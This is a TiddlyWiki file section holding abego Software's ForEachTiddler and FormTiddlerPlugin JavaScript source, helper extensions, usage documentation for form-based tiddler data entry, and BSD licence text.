		tiddlyWiki.dirty = false;
		return tiddlyWiki;
	}
	
	// The legacy code, for TW < 2.2
	
	// Locate the storeArea div's
	var posOpeningDiv = content.indexOf(startSaveArea);
	var posClosingDiv = content.lastIndexOf(endSaveArea);
	if((posOpeningDiv == -1) || (posClosingDiv == -1)) {
		throw "File '"+path+"' is not a TiddlyWiki.";
	}
	var storageText = content.substr(posOpeningDiv + startSaveArea.length, posClosingDiv);
	
	// Create a "div" element that contains the storage text
	var myStorageDiv = document.createElement("div");
	myStorageDiv.innerHTML = storageText;
	myStorageDiv.normalize();
	
	// Create all tiddlers in a new TiddlyWiki
	// (following code is modified copy of TiddlyWiki.prototype.loadFromDiv)
	var store = myStorageDiv.childNodes;
	for(var t = 0; t < store.length; t++) {
		var e = store[t];
		var title = null;
		if(e.getAttribute)
			title = e.getAttribute("tiddler");
		if(!title && e.id && e.id.substr(0,lenPrefix) == idPrefix)
			title = e.id.substr(lenPrefix);
		if(title && title !== "") {
			var tiddler = tiddlyWiki.createTiddler(title);
			tiddler.loadFromDiv(e,title);
		}
	}
	tiddlyWiki.dirty = false;

	return tiddlyWiki;
};


	
// Internal.
//
// Returns a function that has a function body returning the given javaScriptExpression.
// The function has the parameters:
// 
//	 (tiddler, context, count, index)
//
config.macros.forEachTiddler.getEvalTiddlerFunction = function (javaScriptExpression, context) {
	var script = context["script"];
	var functionText = "var theFunction = function(tiddler, context, count, index) { return "+javaScriptExpression+"}";
	var fullText = (script ? script+";" : "")+functionText+";theFunction;";
	return eval(fullText);
};

// Internal.
//
config.macros.forEachTiddler.findTiddlers = function(whereClause, context, tiddlyWiki) {
	var result = [];
	var func = config.macros.forEachTiddler.getEvalTiddlerFunction(whereClause, context);
	tiddlyWiki.forEachTiddler(function(title,tiddler) {
		if (func(tiddler, context, undefined, undefined)) {
			result.push(tiddler);
		}
	});
	return result;
};

// Internal.
//
config.macros.forEachTiddler.createExtraParameterErrorElement = function(place, actionName, parameter, firstUnusedIndex) {
	var message = "Extra parameter behind '"+actionName+"':";
	for (var i = firstUnusedIndex; i < parameter.length; i++) {
		message += " "+parameter[i];
	}
	this.handleError(place, message);
};

// Internal.
//
config.macros.forEachTiddler.sortAscending = function(tiddlerA, tiddlerB) {
	var result = 
		(tiddlerA.forEachTiddlerSortValue == tiddlerB.forEachTiddlerSortValue) 
			? 0
			: (tiddlerA.forEachTiddlerSortValue < tiddlerB.forEachTiddlerSortValue)
			   ? -1 
			   : +1; 
	return result;
};

// Internal.
//
config.macros.forEachTiddler.sortDescending = function(tiddlerA, tiddlerB) {
	var result = 
		(tiddlerA.forEachTiddlerSortValue == tiddlerB.forEachTiddlerSortValue) 
			? 0
			: (tiddlerA.forEachTiddlerSortValue < tiddlerB.forEachTiddlerSortValue)
			   ? +1 
			   : -1; 
	return result;
};

// Internal.
//
config.macros.forEachTiddler.sortTiddlers = function(tiddlers, sortClause, ascending, context) {
	// To avoid evaluating the sortClause whenever two items are compared 
	// we pre-calculate the sortValue for every item in the array and store it in a 
	// temporary property ("forEachTiddlerSortValue") of the tiddlers.
	var func = config.macros.forEachTiddler.getEvalTiddlerFunction(sortClause, context);
	var count = tiddlers.length;
	var i;
	for (i = 0; i < count; i++) {
		var tiddler = tiddlers[i];
		tiddler.forEachTiddlerSortValue = func(tiddler,context, undefined, undefined);
	}

	// Do the sorting
	tiddlers.sort(ascending ? this.sortAscending : this.sortDescending);

	// Delete the temporary property that holds the sortValue.	
	for (i = 0; i < tiddlers.length; i++) {
		delete tiddlers[i].forEachTiddlerSortValue;
	}
};


// Internal.
//
config.macros.forEachTiddler.trace = function(message) {
	displayMessage(message);
};

// Internal.
//
config.macros.forEachTiddler.traceMacroCall = function(place,macroName,params) {
	var message ="<<"+macroName;
	for (var i = 0; i < params.length; i++) {
		message += " "+params[i];
	}
	message += ">>";
	displayMessage(message);
};


// Internal.
//
// Creates an element that holds an error message
// 
config.macros.forEachTiddler.createErrorElement = function(place, exception) {
	var message = (exception.description) ? exception.description : exception.toString();
	return createTiddlyElement(place,"span",null,"forEachTiddlerError","<<forEachTiddler ...>>: "+message);
};

// Internal.
//
// @param place [may be null]
//
config.macros.forEachTiddler.handleError = function(place, exception) {
	if (place) {
		this.createErrorElement(place, exception);
	} else {
		throw exception;
	}
};

// Internal.
//
// Encodes the given string.
//
// Replaces 
//	 "$))" to ">>"
//	 "$)" to ">"
//
config.macros.forEachTiddler.paramEncode = function(s) {
	var reGTGT = new RegExp("\\$\\)\\)","mg");
	var reGT = new RegExp("\\$\\)","mg");
	return s.replace(reGTGT, ">>").replace(reGT, ">");
};

// Internal.
//
// Returns the given original path (that is a file path, starting with "file:")
// as a path to a local file, in the systems native file format.
//
// Location information in the originalPath (i.e. the "#" and stuff following)
// is stripped.
// 
config.macros.forEachTiddler.getLocalPath = function(originalPath) {
	// Remove any location part of the URL
	var hashPos = originalPath.indexOf("#");
	if(hashPos != -1)
		originalPath = originalPath.substr(0,hashPos);
	// Convert to a native file format assuming
	// "file:///x:/path/path/path..." - pc local file --> "x:\path\path\path..."
	// "file://///server/share/path/path/path..." - FireFox pc network file --> "\\server\share\path\path\path..."
	// "file:///path/path/path..." - mac/unix local file --> "/path/path/path..."
	// "file://server/share/path/path/path..." - pc network file --> "\\server\share\path\path\path..."
	var localPath;
	if(originalPath.charAt(9) == ":") // pc local file
		localPath = unescape(originalPath.substr(8)).replace(new RegExp("/","g"),"\\");
	else if(originalPath.indexOf("file://///") === 0) // FireFox pc network file
		localPath = "\\\\" + unescape(originalPath.substr(10)).replace(new RegExp("/","g"),"\\");
	else if(originalPath.indexOf("file:///") === 0) // mac/unix local file
		localPath = unescape(originalPath.substr(7));
	else if(originalPath.indexOf("file:/") === 0) // mac/unix local file
		localPath = unescape(originalPath.substr(5));
	else // pc network file
		localPath = "\\\\" + unescape(originalPath.substr(7)).replace(new RegExp("/","g"),"\\");	
	return localPath;
};

// ---------------------------------------------------------------------------
// Stylesheet Extensions (may be overridden by local StyleSheet)
// ---------------------------------------------------------------------------
//
setStylesheet(
	".forEachTiddlerError{color: #ffffff;background-color: #880000;}",
	"forEachTiddler");

//============================================================================
// End of forEachTiddler Macro
//============================================================================


//============================================================================
// String.startsWith Function
//============================================================================
//
// Returns true if the string starts with the given prefix, false otherwise.
//
version.extensions["String.startsWith"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.startsWith = function(prefix) {
	var n =  prefix.length;
	return (this.length >= n) && (this.slice(0, n) == prefix);
};



//============================================================================
// String.endsWith Function
//============================================================================
//
// Returns true if the string ends with the given suffix, false otherwise.
//
version.extensions["String.endsWith"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.endsWith = function(suffix) {
	var n = suffix.length;
	return (this.length >= n) && (this.right(n) == suffix);
};


//============================================================================
// String.contains Function
//============================================================================
//
// Returns true when the string contains the given substring, false otherwise.
//
version.extensions["String.contains"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.contains = function(substring) {
	return this.indexOf(substring) >= 0;
};

//============================================================================
// Array.indexOf Function
//============================================================================
//
// Returns the index of the first occurance of the given item in the array or 
// -1 when no such item exists.
//
// @param item [may be null]
//
version.extensions["Array.indexOf"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.indexOf = function(item) {
	for (var i = 0; i < this.length; i++) {
		if (this[i] == item) {
			return i;
		}
	}
	return -1;
};

//============================================================================
// Array.contains Function
//============================================================================
//
// Returns true when the array contains the given item, otherwise false. 
//
// @param item [may be null]
//
version.extensions["Array.contains"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.contains = function(item) {
	return (this.indexOf(item) >= 0);
};

//============================================================================
// Array.containsAny Function
//============================================================================
//
// Returns true when the array contains at least one of the elements 
// of the item. Otherwise (or when items contains no elements) false is returned.
//
version.extensions["Array.containsAny"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.containsAny = function(items) {
	for(var i = 0; i < items.length; i++) {
		if (this.contains(items[i])) {
			return true;
		}
	}
	return false;
};


//============================================================================
// Array.containsAll Function
//============================================================================
//
// Returns true when the array contains all the items, otherwise false.
// 
// When items is null false is returned (even if the array contains a null).
//
// @param items [may be null] 
//
version.extensions["Array.containsAll"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.containsAll = function(items) {
	for(var i = 0; i < items.length; i++) {
		if (!this.contains(items[i])) {
			return false;
		}
	}
	return true;
};


} // of "install only once"

// Used Globals (for JSLint) ==============
// ... DOM
/*global 	document */
// ... TiddlyWiki Core
/*global 	convertUnicodeToUTF8, createTiddlyElement, createTiddlyLink, 
			displayMessage, endSaveArea, hasClass, loadFile, saveFile, 
			startSaveArea, store, wikify */
//}}}


/***
!Licence and Copyright
Copyright (c) abego Software ~GmbH, 2005 ([[www.abego-software.de|http://www.abego-software.de]])

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or other
materials provided with the distribution.

Neither the name of abego Software nor the names of its contributors may be
used to endorse or promote products derived from this software without specific
prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
***/
A FormTemplate is used with the [[FormTiddlerPlugin]]. It is a tiddler that contains one or more HTML INPUT elements and defines the layout of a form. 

Other tiddlers can reference a FormTemplate through the [[FormTiddlerMacro]].

(See [[FormTiddler Introduction]])
|!Example|!Comment|
|[[SimpleForm|SimpleForm (Card 1)]]|Three forms, using a simple template with "username" and "password" fields|
|[[BiggerForm|BiggerForm (Card 1)]]|Three forms, using a template with all supported Form input elements|
|[[Bugreports]]|Use forms and filtered lists to maintain bug reports|
|[[Contacts|JoeBlock]]|Manage your contacts in forms|
The [[FormTiddlerPlugin]] allows you to enter your data in a form and store the form's data in your tiddlers.

(For more information on tiddler data see the [[DataTiddlerPlugin]].)

//''Define ~FormTemplate''//

When you want to enter data in a form you first have to define a [[FormTemplate]] tiddler. A FormTemplate tiddler is a tiddler that contains named HTML INPUT elements (such as textfields, password fields, lists etc.) that define the stuff that should be edited in the form. E.g. you may have a FormTemplate that looks like this:

<html>
 <b>Name:</b><br/>
 <input name=userName type=text /><br/>
 <b>Password:</b><br/>
 <input name=pwd type=password /><br/>
</html>

The correspond HTML text looks like this
{{{
<html>
 <b>Name:</b><br/>
 <input name=userName type=text /><br/>
 <b>Password:</b><br/>
 <input name=pwd type=password /><br/>
</html>
}}}

The name of the INPUT element is also the name of the data field it is editing. E.g. a text field defined like this: 
{{{
<input name=userName type=text />
}}}
will edit the data field "userName" of the tiddler.


You are free to layout the INPUT elements as you like, but don't add a "form" element around them and don't define 'onchange' handlers, since this will be done automatically by the {{{<<formTiddler ...>>}}} macro.


//''Use ~FormTemplates (through the {{{<<formTiddler ...>>}}} macro)''//

In a second step you add the {{{<<formTiddler ...>>}}} macro to tiddlers that should be edited. In the macro you are referencing the [[FormTemplate]] that should be used to edit the tiddler's data. You may refer to the same FormTemplate tiddler in as many tiddlers as you like. Every such tiddler displays the same INPUT elements as the FormTemplate, but with the "data" of each individual tiddler.

In addition you may have more than one {{{<<formTiddler...>>}}} macro call in one tiddler. Just make sure that the names of the elements in the referenced FormTemplate tiddlers do not collide. This feature may be useful if you want to construct a larger input form from a set of smaller FormTemplates.

You can easily create tiddlers with an embedded {{{<<formTiddler...>>}}} macro call using the [[<<newTiddlerWithForm...>>|NewTiddlerWithFormMacro]] macro. The macro shows a button similar to the "new tiddler" button and creates the requested tiddler, ready to enter data. For details see NewTiddlerWithFormMacro.


//''"Structured" and "Free" Data''//

Typically you will edit a tiddler that uses the {{{<<formTiddler...>>}}} macro through the form. But you are free to also edit the tiddler "as usual", through the build-in edit feature. I.e. you may mix "structured data" (as entered through the form) with "free data". I.e. on a "Contact" tiddler you may add an image to the tiddler, or add extra links to related persons. Or you add more tags. Just make sure that you don't modify the {{{<data>...</data>}}} section of the tiddler, since this contains the data maintained by the form.

Also notice that since the data entered in the forms is stored in the tiddler's text (in the {{{<data>...</data>}}} section) using the "search" feature will also find the texts you entered in the forms (even though it will not hilite the texts in the fields).


//''Applications''//

Using the [[FormTiddlerPlugin]] it is easy to manage things like:
* [[Contacts]]
* [[Bugreports]]
* ~ToDo Lists
* and many more.

Since a FormTemplate is typically used for many tiddlers of the same kind you may also consider using the ForEachTiddlerMacro to collect data across multiple tiddlers (e.g. to get a list of all contacts, a summary page for the bug reports etc.)

(See also [[FormTiddler Examples]])


//''HTML Elements''//

For those not that familiar with the HTML INPUT elements here a short overview with HTML snippets. 
|!Type|!HTML Example|!Comment|
|button|{{{<input name=btn type=button value="Just a button" />}}}|no data|
|checkbox|{{{<input name=isVIP type=checkbox />is VIP}}}||
|file|{{{<input name=attachment type=file />}}}|The "file" input element typically does not restore the path of the previously selected file. Nevertheless the path of the file is stored in the tiddler.|
|hidden|{{{<input name=hiddenValue type=hidden value="This is a hidden value" />}}}||
|password|{{{<input name=pwd type=password />}}}|The data entered in a "password" field is stored as clear text in the tiddler.|
|radio|{{{<input name=level type=radio value="Beginner" />Beginner<input name=level type=radio value="Expert" />Expert<input name=level type=radio value="Guru" />Guru}}}||
|reset|{{{<input name=btnReset type=reset />}}}|no data|
|select-one|{{{<select name=browser ><option>Firefox<option>Internet Explorer<option>Opera<option>Other</select >}}}||
|select-multiple|{{{<select name=music MULTIPLE ><option> R&B <option> Jazz <option> Blues <option> New Age</select >}}}||
|submit|{{{<input name=btnSubmit type=submit />}}}|no data|
|text|{{{<input name=userName type=text/>}}}||
|textarea|{{{<TEXTAREA name=notes rows=4 cols=80 ></TEXTAREA>}}}||

For details consult the Web or a textbook on HTML editing.
The {{{<<formTiddler ...>>}}} macro defined by the FormTiddlerPlugin. 

When a tiddler T1 references the (FormTemplate) tiddler T2 in the FormTiddlerMacro, the data of T1 can be edited through the INPUT elements defined by T2.
/***
<<checkForDataTiddlerPlugin>>
|''Name:''|FormTiddlerPlugin|
|''Version:''|1.0.6 (2007-06-24)|
|''Source:''|http://tiddlywiki.abego-software.de/#FormTiddlerPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license]]|
|''Macros:''|formTiddler, checkForDataTiddlerPlugin, newTiddlerWithForm|
|''Requires:''|DataTiddlerPlugin|
|''TiddlyWiki:''|1.2.38+, 2.0|
|''Browser:''|Firefox 1.0.4+; InternetExplorer 6.0|
!Description
Use form-based tiddlers to enter your tiddler data using text fields, listboxes, checkboxes etc. (All standard HTML Form input elements supported).

''Syntax:'' 
|>|{{{<<}}}''formTiddler'' //tiddlerName//{{{>>}}}|
|//tiddlerName//|The name of the FormTemplate tiddler to be used to edit the data of the tiddler containing the macro.|

|>|{{{<<}}}''newTiddlerWithForm'' //formTemplateName// //buttonLabel// [//titleExpression// [''askUser'']] {{{>>}}}|
|//formTemplateName//|The name of the tiddler that defines the form the new tiddler should use.|
|//buttonLabel//|The label of the button|
|//titleExpression//|A (quoted) JavaScript String expression that defines the title (/name) of the new tiddler.|
|''askUser''|Typically the user is not asked for the title when a title is specified (and not yet used). When ''askUser'' is given the user will be asked in any case. This may be used when the calculated title is just a suggestion that must be confirmed by the user|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|

For details and how to use the macros see the [[introduction|FormTiddler Introduction]] and the [[examples|FormTiddler Examples]].

!Revision history
* v1.0.6 (2007-06-24)
** Fixed problem when using SELECT component in Internet Explorer (thanks to MaikBoenig for reporting)
* v1.0.5 (2006-02-24)
** Removed "debugger;" instruction
* v1.0.4 (2006-02-07)
** Bug: On IE no data is written to data section when field values changed (thanks to KenGirard for reporting)
* v1.0.3 (2006-02-05)
** Bug: {{{"No form template specified in <<formTiddler>>"}}} when using formTiddler macro on InternetExplorer (thanks to KenGirard for reporting)
* v1.0.2 (2006-01-06)
** Support TiddlyWiki 2.0
* v1.0.1 (2005-12-22)
** Features: 
*** Support InternetExplorer
*** Added newTiddlerWithForm Macro
* v1.0.0 (2005-12-14)
** initial version

!Code
***/
//{{{

//============================================================================
//============================================================================
//						FormTiddlerPlugin
//============================================================================
//============================================================================

if (!window.abego) window.abego = {};

abego.getOptionsValue = function(element,i) {
	var v = element.options[i].value;
	if (!v && element.options[i].text)
		v = element.options[i].text;
	return v;
};

version.extensions.FormTiddlerPlugin = {
	major: 1, minor: 0, revision: 5,
	date: new Date(2006, 2, 24), 
	type: 'plugin',
	source: "http://tiddlywiki.abego-software.de/#FormTiddlerPlugin"
};

// For backward compatibility with v1.2.x
//
if (!window.story) window.story=window; 
if (!TiddlyWiki.prototype.getTiddler) TiddlyWiki.prototype.getTiddler = function(title) { return t = this.tiddlers[title]; return (t != undefined && t instanceof Tiddler) ? t : null; } 

//============================================================================
// formTiddler Macro
//============================================================================

// -------------------------------------------------------------------------------
// Configurations and constants 
// -------------------------------------------------------------------------------

config.macros.formTiddler = {
	// Standard Properties
	label: "formTiddler",
	version: {major: 1, minor: 0, revision: 4, date: new Date(2006, 2, 7)},
	prompt: "Edit tiddler data using forms",

	// Define the "setters" that set the values of INPUT elements of a given type
	// (must match the corresponding "getter")
	setter: {  
		button:				function(e, value) {/*contains no data */ },
		checkbox:			function(e, value) {e.checked = value;},
		file:				function(e, value) {try {e.value = value;} catch(e) {/* ignore, possibly security error*/}},
		hidden:				function(e, value) {e.value = value;},
		password:			function(e, value) {e.value = value;},
		radio:				function(e, value) {e.checked = (e.value == value);},
		reset:				function(e, value) {/*contains no data */ },
		"select-one":		function(e, value) {config.macros.formTiddler.setSelectOneValue(e,value);},
		"select-multiple":	function(e, value) {config.macros.formTiddler.setSelectMultipleValue(e,value);},
		submit:				function(e, value) {/*contains no data */},
		text:				function(e, value) {e.value = value;},
		textarea:			function(e, value) {e.value = value;}
	},

	// Define the "getters" that return the value of INPUT elements of a given type
	// Return undefined to not store any data.
	getter: {  
		button:				function(e, value) {return undefined;},
		checkbox:			function(e, value) {return e.checked;},
		file:				function(e, value) {return e.value;},
		hidden:				function(e, value) {return e.value;},
		password:			function(e, value) {return e.value;},
		radio:				function(e, value) {return e.checked ? e.value : undefined;},
		reset:				function(e, value) {return undefined;},
		"select-one":		function(e, value) {return config.macros.formTiddler.getSelectOneValue(e);},
		"select-multiple":	function(e, value) {return config.macros.formTiddler.getSelectMultipleValue(e);},
		submit:				function(e, value) {return undefined;},
		text:				function(e, value) {return e.value;},
		textarea:			function(e, value) {return e.value;}
	}
};


// -------------------------------------------------------------------------------
// The formTiddler Macro Handler 
// -------------------------------------------------------------------------------

config.macros.formTiddler.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
	if (!config.macros.formTiddler.checkForExtensions(place, macroName)) {
		return;
	}
	// --- Parsing ------------------------------------------

	var i = 0; // index running over the params

	// get the name of the form template tiddler
	var formTemplateName = undefined;
	if (i < params.length) {
		formTemplateName = params[i];
		i++;
	}

	if (!formTemplateName) {
		config.macros.formTiddler.createErrorElement(place, "No form template specified in <<" + macroName + ">>.");
		return;
	}


	// --- Processing ------------------------------------------

	// Get the form template text. 
	// (This contains the INPUT elements for the form.)
	var formTemplateTiddler = store.getTiddler(formTemplateName);
	if (!formTemplateTiddler) {
		config.macros.formTiddler.createErrorElement(place, "Form template '" + formTemplateName + "' not found.");
		return;
	}
	var templateText = formTemplateTiddler.text;
	if(!templateText) {
		// Shortcut: when template text is empty we do nothing.
		return;
	}

	// Get the name of the tiddler containing this "formTiddler" macro
	// (i.e. the tiddler, that will be edited and that contains the data)
	var tiddlerName = config.macros.formTiddler.getContainingTiddlerName(place);

	// Append a "form" element. 
	var formName = "form"+formTemplateName+"__"+tiddlerName;
	var e = document.createElement("form");
	e.setAttribute("name", formName);
	place.appendChild(e);

	// "Embed" the elements defined by the templateText (i.e. the INPUT elements) 
	// into the "form" element we just created
	wikify(templateText, e);

	// Initialize the INPUT elements.
	config.macros.formTiddler.initValuesAndHandlersInFormElements(formName, DataTiddler.getDataObject(tiddlerName));
}


// -------------------------------------------------------------------------------
// Form Data Access 
// -------------------------------------------------------------------------------

// Internal.
//
// Initialize the INPUT elements of the form with the values of their "matching"
// data fields in the tiddler. Also setup the onChange handler to ensure that
// changes in the INPUT elements are stored in the tiddler's data.
//
config.macros.formTiddler.initValuesAndHandlersInFormElements = function(formName, data) {
	// config.macros.formTiddler.trace("initValuesAndHandlersInFormElements(formName="+formName+", data="+data+")");

	// find the form
	var form = config.macros.formTiddler.findForm(formName);
	if (!form) {
		return;
	}

	try {
		var elems = form.elements;
		for (var i = 0; i < elems.length; i++) {
			var c = elems[i];
		
			var setter = config.macros.formTiddler.setter[c.type];
			if (setter) {
				var value = data[c.name];
				if (value != null) {
					setter(c, value);
				}
				c.onchange = onFormTiddlerChange;
			} else {
				config.macros.formTiddler.displayFormTiddlerError("No setter defined for INPUT element of type '"+c.type+"'. (Element '"+c.name+"' in form '"+formName+"')");
			}
		}
	} catch(e) {
		config.macros.formTiddler.displayFormTiddlerError("Error when updating elements with new formData. "+e);
	}
}


// Internal.
//
// @return [may be null]
//
config.macros.formTiddler.findForm = function(formName) {
	// We must manually iterate through the document's forms, since
	// IE does not support the "document[formName]" approach

	var forms = window.document.forms;
	for (var i = 0; i < forms.length; i++) {
		var form = forms[i];
		if (form.name == formName) {
			return form;
		}
	}

	return null;
}


// Internal.
//
config.macros.formTiddler.setSelectOneValue = function(element,value) {
	var n = element.options.length;
	for (var i = 0; i < n; i++) {
		element.options[i].selected = abego.getOptionsValue(element,i) == value;
	}
}

// Internal.
//
config.macros.formTiddler.setSelectMultipleValue = function(element,value) {
	var values = {};
	for (var i = 0; i < value.length; i++) {
		values[value[i]] = true;
	}
	
	var n = element.length;
	for (var i = 0; i < n; i++) {
		element.options[i].selected = !(!values[abego.getOptionsValue(element,i)]);
	}
}

// Internal.
//
config.macros.formTiddler.getSelectOneValue = function(element) {
	var i = element.selectedIndex;
	return (i >= 0) ? abego.getOptionsValue(element,i) : null;
}

// Internal.
//
config.macros.formTiddler.getSelectMultipleValue = function(element) {
	var values = [];
	var n = element.length;
	for (var i = 0; i < n; i++) {
		if (element.options[i].selected) {
			values.push(abego.getOptionsValue(element,i));
		}
	}
	return values;
}



// -------------------------------------------------------------------------------
// Helpers 
// -------------------------------------------------------------------------------

// Internal.
//
config.macros.formTiddler.checkForExtensions = function(place,macroName) {
	if (!version.extensions.DataTiddlerPlugin) {
		config.macros.formTiddler.createErrorElement(place, "<<" + macroName + ">> requires the DataTiddlerPlugin. (You can get it from http://tiddlywiki.abego-software.de/#DataTiddlerPlugin)");
		return false;
	}
	return true;
}

// Internal.
//
// Displays a trace message in the "TiddlyWiki" message pane.
// (used for debugging)
//
config.macros.formTiddler.trace = function(s) {
	displayMessage("Trace: "+s);
}

// Internal.
//
// Display some error message in the "TiddlyWiki" message pane.
//
config.macros.formTiddler.displayFormTiddlerError = function(s) {
	alert("FormTiddlerPlugin Error: "+s);
}

// Internal.
//
// Creates an element that holds an error message
// 
config.macros.formTiddler.createErrorElement = function(place, message) {
	return createTiddlyElement(place,"span",null,"formTiddlerError",message);
}

// Internal.
//
// Returns the name of the tiddler containing the given element.
// 
config.macros.formTiddler.getContainingTiddlerName = function(element) {
	return story.findContainingTiddler(element).id.substr(7);
}

// -------------------------------------------------------------------------------
// Event Handlers 
// -------------------------------------------------------------------------------

// This function must be called by the INPUT elements whenever their
// data changes. Typically this is done through an "onChange" handler.
//
function onFormTiddlerChange (e) {
	// config.macros.formTiddler.trace("onFormTiddlerChange "+e);

	if (!e) var e = window.event;

	var target = resolveTarget(e);
	var tiddlerName = config.macros.formTiddler.getContainingTiddlerName(target);
	var getter = config.macros.formTiddler.getter[target.type];
	if (getter) {
		var value = getter(target);
		DataTiddler.setData(tiddlerName, target.name, value);
	} else {
		config.macros.formTiddler.displayFormTiddlerError("No getter defined for INPUT element of type '"+target.type+"'. (Element '"+target.name+"' used in tiddler '"+tiddlerName+"')");
	}
}

// ensure that the function can be used in HTML event handler
window.onFormTiddlerChange = onFormTiddlerChange;


// -------------------------------------------------------------------------------
// Stylesheet Extensions (may be overridden by local StyleSheet)
// -------------------------------------------------------------------------------

setStylesheet(
	".formTiddlerError{color: #ffffff;background-color: #880000;}",
	"formTiddler");


//============================================================================
// checkForDataTiddlerPlugin Macro
//============================================================================

config.macros.checkForDataTiddlerPlugin = {
	// Standard Properties
	label: "checkForDataTiddlerPlugin",
	version: {major: 1, minor: 0, revision: 0, date: new Date(2005, 12, 14)},
	prompt: "Check if the DataTiddlerPlugin exists"
}

config.macros.checkForDataTiddlerPlugin.handler = function(place,macroName,params) {
	config.macros.formTiddler.checkForExtensions(place, config.macros.formTiddler.label);
}



//============================================================================
// newTiddlerWithForm Macro
//============================================================================

config.macros.newTiddlerWithForm = {
	// Standard Properties
	label: "newTiddlerWithForm",
	version: {major: 1, minor: 0, revision: 1, date: new Date(2006, 1, 6)},
	prompt: "Creates a new Tiddler with a <<formTiddler ...>> macro"
}

config.macros.newTiddlerWithForm.handler = function(place,macroName,params) {
	// --- Parsing ------------------------------------------

	var i = 0; // index running over the params

	// get the name of the form template tiddler
	var formTemplateName = undefined;
	if (i < params.length) {
		formTemplateName = params[i];
		i++;
	}

	if (!formTemplateName) {
		config.macros.formTiddler.createErrorElement(place, "No form template specified in <<" + macroName + ">>.");
		return;
	}

	// get the button label
	var buttonLabel = undefined;
	if (i < params.length) {
		buttonLabel = params[i];
		i++;
	}

	if (!buttonLabel) {
		config.macros.formTiddler.createErrorElement(place, "No button label specified in <<" + macroName + ">>.");
		return;
	}

	// get the (optional) tiddlerName script and "askUser"
	var tiddlerNameScript = undefined;
	var askUser = false;
	if (i < params.length) {
		tiddlerNameScript = params[i];
		i++;

		if (i < params.length && params[i] == "askUser") {
			askUser = true;
			i++;
		}
	}

	// --- Processing ------------------------------------------

	if(!readOnly) {
		var onClick = function() {
			var tiddlerName;
			if (tiddlerNameScript) {
				try {
					tiddlerName = eval(tiddlerNameScript);
				} catch (ex) {
				}
			}
			if (!tiddlerName || askUser) {
				tiddlerName = prompt("Please specify a tiddler name.", askUser ? tiddlerName : "");
			}
			while (tiddlerName && store.getTiddler(tiddlerName)) {
				tiddlerName = prompt("A tiddler named '"+tiddlerName+"' already exists.\n\n"+"Please specify a tiddler name.", tiddlerName);
			}

			// tiddlerName is either null (user canceled) or a name that is not yet in the store.
			if (tiddlerName) {
				var body = "<<formTiddler [["+formTemplateName+"]]>>";
				var tags = [];
				store.saveTiddler(tiddlerName,tiddlerName,body,config.options.txtUserName,new Date(),tags);
				story.displayTiddler(null,tiddlerName,1);
			}
		}

		createTiddlyButton(place,buttonLabel,buttonLabel,onClick);
    }
}

//}}}


/***
!Licence and Copyright
Copyright (c) abego Software ~GmbH, 2005 ([[www.abego-software.de|http://www.abego-software.de]])

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or other
materials provided with the distribution.

Neither the name of abego Software nor the names of its contributors may be
used to endorse or promote products derived from this software without specific
prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
***/
<<showtoc>>
!Descripción
